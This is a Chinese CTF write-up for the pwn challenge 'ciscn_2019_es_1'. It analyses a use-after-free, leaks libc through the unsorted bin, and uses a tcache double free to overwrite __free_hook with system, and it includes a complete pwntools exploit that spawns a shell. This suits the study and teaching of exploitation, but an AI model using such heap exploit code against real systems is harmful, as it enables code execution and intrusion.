ciscn_2019_es_1

检查防护措施

1

保护拉满,基本是堆题没得跑

本地调试

2

堆的菜单界面我们add了两个chunk,gdb看一下情况

3

程序多创建了2个chunk且chunk的fd指针存放的我们的创建的chunk的data地址,bk的位置看到了我们输入的电话号的内容

IDA静态分析

add():

4

show():

5

free():

6

这里没有清空指针,存在UAF

大致思路

创建一个0x410的chunk来释放进入unstoredbin 泄露libc,再利用doublefree 去修改free_hook

泄露libc:

1
2
3
4
5
6
7
add(0x410,'aaaa','0')     
add(0x20,'bbbb','1')
add(0x20,'/bin/sh','2')
free(0)
show(0)

libc_base=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-96-0x10-libc.sym['__malloc_hook']

7

再去double free改free_hook

1
2
3
4
5
6
7
free(1)
free(1)

add(0x20,p64(libc_base+libc.sym['__free_hook']),'1')
add(0x20,'bbbb','1')
add(0x20,p64(system),'1')

8

9

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import*
context(os='linux', arch='amd64', log_level='debug')
#p = process(['/home/giantbranch/Desktop/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ld-2.27.so', './ciscn_2019_es_1'], env={"LD_PRELOAD":'/home/giantbranch/Desktop/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc.so.6'})
libc = ELF('./libc-2.27.so')
#p = remote('node4.buuoj.cn',25147)
def add(size,name,number):
p.recvuntil(":")
p.sendline('1')
p.recvuntil("name\n")
p.sendline(str(size))
p.recvuntil(":\n")
p.send(name)
p.recvuntil("call:\n")
p.send(number)
def show(id):
p.recvuntil(":")
p.sendline('2')
p.recvuntil("index:\n")
p.sendline(str(id))
def free(id):
p.recvuntil(":")
p.sendline('3')
p.recvuntil("index:\n")
p.sendline(str(id))

add(0x410,'aaaa','0')
add(0x20,'bbbb','1')
add(0x20,'/bin/sh','2')
free(0)
show(0)

libc_base=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-96-0x10-libc.sym['__malloc_hook']
system = libc_base + libc.sym['system']

free(1)
free(1)

add(0x20,p64(libc_base+libc.sym['__free_hook']),'1')
add(0x20,'bbbb','1')
add(0x20,p64(system),'1')

free(2)


p.interactive()

10